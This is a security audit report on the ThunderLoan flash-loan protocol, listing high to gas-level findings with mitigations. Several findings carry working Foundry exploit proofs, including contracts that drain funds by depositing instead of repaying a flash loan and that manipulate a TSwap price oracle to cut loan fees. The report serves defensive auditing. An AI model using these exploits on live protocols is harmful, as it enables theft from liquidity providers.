



ThunderLoan Audit Report

Version 1.0

github.com/nuelonye

September 14, 2026

Protocol Audit Report

github.com/nuelonye

September 14, 2026

Prepared by: NuelOnye Lead Auditors: - xxxxxxxx

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Roles
 - Issues found
- Findings
 - High
 - * [H-1] Erroneous `ThunderLoan::updateExchangeRate` in `deposit` increases redeemable amount causing protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate
 - * [H-2] By calling a flashloan and then `ThunderLoan::deposit` instead of `ThunderLoan::repay` users can steal all funds from the protocol
 - * [H-3] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol.
 - Medium
 - * [M-1] Using TSwap as price oracle leads to price manipulation attacks

- [M-2]: Centralization Risk
- Low
 - * [L-1] Missing critical event emissions
- [L-2] Initializers could be front-run
- Informational
 - * [I-1] `ThunderLoan` contract don't implement `IThunderLoan` interface which and lead to wrong implementation of certain functions
 - * [I-2] Incorrect parameter name in `ThunderLoan::initialize`
- Gas
 - * [G-1] Unnecessary SLOAD when logging new exchange rate
 - * [G-2] Using `private` rather than `public` for constants, saves gas

Protocol Summary

The ThunderLoan protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

Disclaimer

The NuelOnye team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

Impact		
High	Medium	Low

Impact				
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- In Scope:

```
1  |-- interfaces
2  |    |-- IFlashLoanReceiver.sol
3  |    |-- IPoolFactory.sol
4  |    |-- ISwapPool.sol
5  |    |-- IThunderLoan.sol
6  |-- protocol
7  |    |-- AssetToken.sol
8  |    |-- OracleUpgradeable.sol
9  |    |-- ThunderLoan.sol
10 |-- upgradedProtocol
11    |-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Issues found

Severity	Number of issues found
High	3

Severity	Number of issues found
Medium	2
Low	2
Info	2
Gas	2
Total	11

Findings

High

[H-1] Erroneous ThunderLoan::updateExchangeRate in deposit increases redeemable amount causing protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying token. In a way it's responsible for keeping track of how many fees to give the liquidity providers.

However, the `deposit` function, updates this rate, without collecting any fees

```
1      function deposit(IERC20 token, uint256 amount) external
2          revertIfZero(amount) revertIfNotAllowedToken(token) {
3          AssetToken assetToken = s_tokenToAssetToken[token];
4          uint256 exchangeRate = assetToken.getExchangeRate();
5          uint256 mintAmount = (amount * assetToken.
6              EXCHANGE_RATE_PRECISION()) / exchangeRate;
7          emit Deposit(msg.sender, token, amount);
8          assetToken.mint(msg.sender, mintAmount);
9
10         // @audit-high we shouldn't be updating exchange rate when a LP
11         deposits
12         @> uint256 calculatedFee = getCalculatedFee(token, amount);
13         @> assetToken.updateExchangeRate(calculatedFee);
14         token.safeTransferFrom(msg.sender, address(assetToken), amount)
15         ;
16     }
```

Impact: Increasing the exchange rate means increasing the amount a Liquidity Provider can redeem. Therefore doing so when the protocol is not getting any fee or profit leaves the protocol in debt,

meaning, there are more asset tokens than there are underlying tokens according to the increased exchange rate. So whenever a LP wants to withdraw their underlying, they can't because the Protocol don't have such amount to underlying tokens.

1. The `redeem` function is blocked, because the protocol's owed tokens is more than it has.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more than deserved.

Proof of Concept:

1. LP deposits 1000 USDC
2. They get minted 1000 AssetToken
3. exchange rate increases from 1 : 1 to 1 : 1.125
4. LP tries to redeem $1000 * 1.125 = 1125$ USDC
5. But protocol don't have that much it only has 1000 USDC
6. Liquidity Provider is locked out and can't withdraw their USDC.

Proof of Code

Place the following into `ThunderLoanTest.t.sol`

```
1      function testRedeemAfterLoan() public setAllowedToken hasDeposits {
2          uint256 amountToBorrow = AMOUNT * 10;
3          uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
4              amountToBorrow);
5
6          vm.startPrank(user);
7          tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
8          thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
9              amountToBorrow, "");
10         vm.stopPrank();
11
12         // 1000e18 initial deposit
13         // 3e17 fee accrued from a 100e18 loan
14         // 1000e18 + 3e17 = 1003e17 new AssetToken balance
15         // 1003.300,900,000,000,000,000 amount the LP is trying to
16         redeem
17
18         uint256 amountToRedeem = type(uint256).max;
19         vm.startPrank(LiquidityProvider);
20         thunderLoan.redeem(tokenA, amountToRedeem);
21         vm.stopPrank();
22     }
```

Recommended Mitigation: Protocol should remove `updateExchangeRate` (i.e., increasing since exchange rate can only increase) when a Liquidity Provider deposits. Rate should only increase when tokens are loaned and are successfully repaid with fees.

```
1      function deposit(IERC20 token, uint256 amount) external
      revertIfZero(amount) revertIfNotAllowedToken(token) {
2      .
3      .
4      .
5
6      -      uint256 calculatedFee = getCalculatedFee(token, amount);
7      -      assetToken.updateExchangeRate(calculatedFee);
8
9      token.safeTransferFrom(msg.sender, address(assetToken), amount)
      ;
10     }
```

[H-2] By calling a flashloan and then ThunderLoan::deposit instead of ThunderLoan::repay users can steal all funds from the protocol

Description: The `ThunderLoan::flashloan` design is such what ever leaves the protocol (plus fee) must come back in the same transaction, without caring on how or what mechanism to which it comes back. This leaves a vulnerability where a user can loan some amount, and then deposit (return) the same amount to the protocol thereby making them a Liquidity Provider.

Impact: A malicious user can repeatedly do this process and get minted unlimited Asset Tokens. Which can be used to drain all the underlying tokens in the protocol.

Proof of Concept:

1. Malicious user calls `ThunderLoan::flashloan` function to loan 50e18 underlying tokens
2. `flashloan` calls `executeOperation` function in Malicious user contract
3. The `executeOperation` calls `ThunderLoan::deposit` with 50e18 + fee
4. Malicious user is minted some Asset Tokens
5. `flashloan` completes since the loaned amount + fee is brought back
6. Malicious user can now redeem underlying tokens even though they didn't actually deposit their money.

Proof of Code

Place the following into `ThunderLoanTest.t.sol`

```
1      function testUseDepositInsteadOfRepayToStealFunds() public
      setAllowedToken hasDeposits {
2      vm.startPrank(user);
3      uint256 amountToBorrow = 50e18;
4      uint256 fee = thunderLoan.getCalculatedFee(tokenA,
      amountToBorrow);
```

```
5      DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
6          ));
7      tokenA.mint(address(dor), fee);
8      // ThunderLoan sends us the money but instead of repaying, we
9      // deposit this means
10     // 1. The balance is sent back and flashloan don't revert
11     // 2. FlashLoanReceiver is minted AssetTokens which they can
12     // redeem for underlying tokens
13     thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
14     ;
15     dor.redeemMoney();
16     vm.stopPrank();
17     assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
18 }
19
20 contract DepositOverRepay is IFlashLoanReceiver {
21     ThunderLoan thunderLoan;
22     AssetToken assetToken;
23     IERC20 s_token;
24
25     constructor(address _thunderLoan) {
26         thunderLoan = ThunderLoan(_thunderLoan);
27     }
28
29     function executeOperation(
30         address token,
31         uint256 amount,
32         uint256 fee,
33         address,
34         /*initiator*/
35         bytes calldata /*params*/
36     )
37     external
38     returns (bool)
39     {
40         s_token = IERC20(token);
41         assetToken = thunderLoan.getAssetFromToken(IERC20(token));
42         // We don't need to call repay here, since the protocol only
43         // checks that loaned amount plus fee is brought back
44         // we can use another mechanism(deposit) to increase the
45         // balance. This then mints us AssetTokens making us LPs
46         IERC20(token).approve(address(thunderLoan), amount + fee);
47         thunderLoan.deposit(IERC20(token), amount + fee);
48         return true;
49     }
50
51     function redeemMoney() public {
52         uint256 amount = assetToken.balanceOf(address(this));
53         thunderLoan.redeem(s_token, amount);
54     }
55 }
```

```
50 }
```

Recommended Mitigation: Protect the deposit path during a flash loan. Since ThunderLoan contract already has a transient flag `s_currentlyFlashLoaning[token]` In deposit, revert if a flash loan is currently active for that asset:

```
1 + if (s_currentlyFlashLoaning[token]) {  
2 +     revert ThunderLoan__CannotDepositDuringFlashLoan();  
3 }
```

[H-3] Mixing up variable location causes storage collisions in ThunderLoan::s_flashLoanFee and ThunderLoan::s_currentlyFlashLoaning, freezing protocol.

Description: `ThunderLoan.sol` has two variables in the following order:

```
1 uint256 private s_feePrecision;  
2 uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```
1 uint256 private s_flashLoanFee; // 0.3% ETH fee  
2 uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables for constant variables, breaks the storage locations as well.

Impact: After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee.

More importantly, the `s_currentlyFlashLoaning` mappings will start in the wrong storage slot as well as all the other variables after it, going up a slot higher.

Proof of Concept:

1. `ThunderLoan` is initialized with `s_feePrecision` and `s_flashLoanFee` at storage slot 2 and 3 respectively
2. Where `s_feePrecision = 1e18` and `s_flashLoanFee = 3e15`
3. `ThunderLoan` is upgraded to `ThunderLoanUpgraded`
4. `s_feePrecision` is no longer in storage as it was initialized as a `constant` variable
5. `s_flashLoanFee` is now taking up storage slot 2 instead of initial 3
6. User queries `ThunderLoanUpgraded::getFee`, it returns the value at storage slot 2: `1e18`
7. But that value is the precision value and the protocol's actual fee of `3e15`

Proof of Code

Place the following into `ThunderLoanTest.t.sol`

```
1 import { ThunderLoanUpgraded } from "../src/upgradedProtocol/
  ThunderLoanUpgraded.sol";
2 .
3 .
4 .
5 function testUpgradeBreaks() public {
6     uint256 feeBeforeUpgrade = thunderLoan.getFee();
7     vm.startPrank(thunderLoan.owner());
8     ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
9     thunderLoan.upgradeToAndCall(address(upgraded), "");
10    uint256 feeAfterUpgrade = thunderLoan.getFee();
11    vm.stopPrank();
12
13    console.log("Fee Before upgrade:", feeBeforeUpgrade);
14    console.log("Fee After upgrade:", feeAfterUpgrade);
15    assert(feeBeforeUpgrade != feeAfterUpgrade);
16 }
```

You could also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: If you must remove the storage variable, leave it as blank as to not mess up the storage slot.

```
1 - uint256 private s_flashLoanFee; // 0.3% ETH fee
2 - uint256 public constant FEE_PRECISION = 1e18;
3 + uint256 private s_blank;
4 + uint256 private s_flashLoanFee; // 0.3% ETH fee
5 + uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using TSwap as price oracle leads to price manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity Providers will get drastically reduced fees for provided liquidity, since the value of the fee is determined by the manipulable protocol.

Proof of Concept:

The following all happens in 1 transaction.

1. User takes a flash loan from [ThunderLoan](#) for 1000 [tokenA](#). They are charged the original fee [fee](#). During the flash loan, they do the following:
 1. User sells 1000 [tokenA](#), tanking its price
 2. Instead of repaying right away, the user takes out another flash loan of 1000 [tokenA](#)
 1. Due to the fact that the way [ThunderLoan](#) calculates price based on the [TSwapPool](#) this second flash loan is substantially cheaper.

```
1  function getPriceInWeth(address token) public view returns (
    uint256) {
2      address swapPoolOfToken = IPoolFactory(s_poolFactory).
        getPool(token);
3      @>    return ITSwapPool(swapPoolOfToken).
        getPriceOfOnePoolTokenInWeth();
4  }
```

2. The user then repays the first flash loan, and then repays the second flash loan.

Proof of Code

Place the following into [ThunderLoanTest.t.sol](#)

```
1  function testOracleManipulation() public {
2      // 1. Setup contracts!
3      thunderLoan = new ThunderLoan();
4      tokenA = new ERC20Mock();
5      proxy = new ERC1967Proxy(address(thunderLoan), "");
6      BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
7      ;
8      // Create a TSwap DEX between WETH and TokenA
9      BuffMockTSwap tSwapPool = BuffMockTSwap(pf.createPool(address(
10         tokenA)));
11     thunderLoan = ThunderLoan(address(proxy));
12     thunderLoan.initialize(address(pf));
13
14     // 2. Fund TSwap
15     vm.startPrank(LiquidityProvider);
16     tokenA.mint(LiquidityProvider, 100e18);
17     tokenA.approve(address(tSwapPool), 100e18);
18     weth.mint(LiquidityProvider, 100e18);
19     weth.approve(address(tSwapPool), 100e18);
20     tSwapPool.deposit(100e18, 100e18, 100e18, block.timestamp); //
21     Ratio 1:1 -> 100 Weth & 100 TokenA
22     vm.stopPrank();
23
24     // 3. Fund ThunderLoan
25     // set allow
```

```
23     vm.prank(thunderLoan.owner());
24     thunderLoan.setAllowedToken(tokenA, true);
25     // fund
26     vm.startPrank(liquidityProvider);
27     tokenA.mint(liquidityProvider, 1000e18);
28     tokenA.approve(address(thunderLoan), 1000e18);
29     thunderLoan.deposit(tokenA, 1000e18);
30     vm.stopPrank();
31
32     // Current State, there are:
33     // 100 WETH & 100 TokenA in TSwap
34     // 1000 TokenA in ThunderLoan that can be borrowed
35
36     // Take out a flash loan of 50 tokenA
37     // swap it on the dex, tanking price from 1weth = 1tokenA to 1
38     // weth = ~3tokenA
39     // Take out ANOTHER flash loan of 50 tokenA (and we'll se how
40     // much cheaper it is)
41
42     // 4. Take out 2 flash loan
43     //     a. To nuke the price of the Weth/tokenA on TSwap
44     //     b. To show that doing so greatly reduces the fees we
45     //        pay on ThunderLoan
46     uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
47         100e18);
48     console.log("Normal Fee is:", normalFeeCost); //
49         0.296147410319118389
50
51     uint256 amountToBorrow = 50e18; // we gonna borrow twice
52
53     MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
54     (
55         address(tSwapPool), address(thunderLoan), address(
56             thunderLoan.getAssetFromToken(tokenA))
57     );
58
59     vm.startPrank(user);
60     tokenA.mint(address(flr), 100e18); // so they can cover the
61     fees
62     thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
63     ;
64     vm.stopPrank();
65
66     uint256 attackFee = flr.feeOne() + flr.feeTwo();
67     console.log("Attack fee is:", attackFee); //
68         0.214167600932190305
69     assert(attackFee < normalFeeCost);
70 }
71
72 contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
73     ThunderLoan thunderLoan;
```

```
64     BuffMockTSwap tSwapPool;
65     address repayAddress;
66     bool attacked;
67     uint256 public feeOne;
68     uint256 public feeTwo;
69
70     constructor(address _tSwapPool, address _thunderLoan, address
        _repayAddress) {
71         tSwapPool = BuffMockTSwap(_tSwapPool);
72         thunderLoan = ThunderLoan(_thunderLoan);
73         repayAddress = _repayAddress;
74     }
75
76     function executeOperation(
77         address token,
78         uint256 amount,
79         uint256 fee,
80         address,
81         /*initiator*/
82         bytes calldata /*params*/
83     )
84     external
85     returns (bool)
86     {
87         if (!attacked) {
88             // 1. Swap TokenA borrowed for WETH
89             // 2. Take out ANOTHER flash loan, to show the difference
90             feeOne = fee;
91             attacked = true;
92             uint256 wethBought = tSwapPool.getOutputAmountBasedOnInput
                (50e18, 100e18, 100e18);
93             IERC20(token).approve(address(tSwapPool), 50e18);
94             // This Tanks the price!
95             tSwapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                wethBought, block.timestamp);
96             // we call a second flash loan
97             thunderLoan.flashloan(address(this), IERC20(token), amount,
                "");
98             // repay first loan
99             // IERC20(token).approve(address(thunderLoan), amount + fee
                );
100             // thunderLoan.repay(IERC20(token), amount + fee);
101             IERC20(token).transfer(address(repayAddress), amount + fee)
                ;
102         } else {
103             // calculate the fee and repay
104             feeTwo = fee;
105             // IERC20(token).approve(address(thunderLoan), amount + fee
                );
106             // thunderLoan.repay(IERC20(token), amount + fee);
107             IERC20(token).transfer(address(repayAddress), amount + fee)
```

```
108         }  
109         return true;  
110     }  
111 }
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.

[M-2]: Centralization Risk

Description: Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

6 Found Instances

- Found in src/protocol/ThunderLoan.sol Line: 289

```
1     function setAllowedToken(IERC20 token, bool allowed) external  
    onlyOwner returns (AssetToken) {
```

- Found in src/protocol/ThunderLoan.sol Line: 324

```
1     function updateFlashLoanFee(uint256 newFee) external onlyOwner  
    {
```

- Found in src/protocol/ThunderLoan.sol Line: 355

```
1     function _authorizeUpgrade(address newImplementation) internal  
    override onlyOwner { }
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 238

```
1     function setAllowedToken(IERC20 token, bool allowed) external  
    onlyOwner returns (AssetToken) {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 264

```
1     function updateFlashLoanFee(uint256 newFee) external onlyOwner  
    {
```

- Found in src/upgradedProtocol/ThunderLoanUpgraded.sol Line: 287

```
1     function _authorizeUpgrade(address newImplementation) internal  
    override onlyOwner { }
```

Low

[L-1] Missing critical event emissions

Description: When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

Recommended Mitigation: Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

```
1 +   event FlashLoanFeeUpdated(uint256 newFee);
2 .
3 .
4 .
5     function updateFlashLoanFee(uint256 newFee) external onlyOwner {
6         if (newFee > s_feePrecision) {
7             revert ThunderLoan__BadNewFee();
8         }
9         s_flashLoanFee = newFee;
10 +    emit FlashLoanFeeUpdated(newFee);
11 }
```

[L-2] Initializers could be front-run

Description: Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

Instances (6):

```
1 File: src/protocol/OracleUpgradeable.sol
2
3 11:     function __Oracle_init(address poolFactoryAddress) internal
         onlyInitializing {
```

```
1 File: src/protocol/ThunderLoan.sol
2
3 138:     function initialize(address tswapAddress) external initializer
         {
4
5 138:     function initialize(address tswapAddress) external initializer
         {
6
7 139:         __Ownable_init();
8
9 140:         __UUPSUpgradeable_init();
10
11 141:         __Oracle_init(tswapAddress);
```

Recommended Mitigation: Ensure the the contract is initialized in the same transaction that it is deployed using script.

Informational

[I-1] ThunderLoan contract don't implement IThunderLoan interface which and lead to wrong implementation of certain functions

Description: The `IThunderLoan` interface specifies a `repay(address,uint256)` function that takes two arguments. But the `ThunderLoan` contract don't inherit the interface hence, this function is not enforced.

Impact: `ThunderLoan` contract may implement the `repay` function wrongly.

Recommended Mitigation: Ensure the `IThunderLoan` inherits the interface

```
1 - contract ThunderLoan is Initializable, OwnableUpgradeable,  
  UUPSUpgradeable, OracleUpgradeable {  
2 +   import {IThunderLoan} from "../src/interfaces/IThunderLoan.sol";  
3 +   contract ThunderLoan is IThunderLoan, Initializable,  
    OwnableUpgradeable, UUPSUpgradeable, OracleUpgradeable {
```

[I-2] Incorrect parameter name in ThunderLoan::initialize

Description: The `initialize` function accepts an address parameter `poolFactoryAddress` but it is declared as `tswapPoolAddress`. This may be confusing and can lead to initializing the protocol with a wrong parameter.

```
1   function initialize  
2   (  
3 -     address tswapAddress  
4 +     address poolFacotryAddress  
5   )  
6     external initializer  
7   {  
8     __Ownable_init(msg.sender);  
9     __UUPSUpgradeable_init();  
10 -    __Oracle_init(tswapAddress);  
11 +    __Oracle_init(poolFactoryAddress);  
12     s_feePrecision = 1e18;  
13     s_flashLoanFee = 3e15;  
14   }
```

Gas

[G-1] Unnecessary SLOAD when logging new exchange rate

Description: In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage the function reads the value from storage again to log it in the `ExchangeRateUpdated` event.

To avoid the unnecessary SLOAD, you can log the value of `newExchangeRate`.

```
1  s_exchangeRate = newExchangeRate;
2  - emit ExchangeRateUpdated(s_exchangeRate);
3  + emit ExchangeRateUpdated(newExchangeRate);
```

[G-2] Using `private` rather than `public` for constants, saves gas

Description: If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

Instances (3):

```
1  File: src/protocol/AssetToken.sol
2
3  25:      uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
1  File: src/protocol/ThunderLoan.sol
2
3  96:      uint256 public constant FEE_PRECISION = 1e18;
```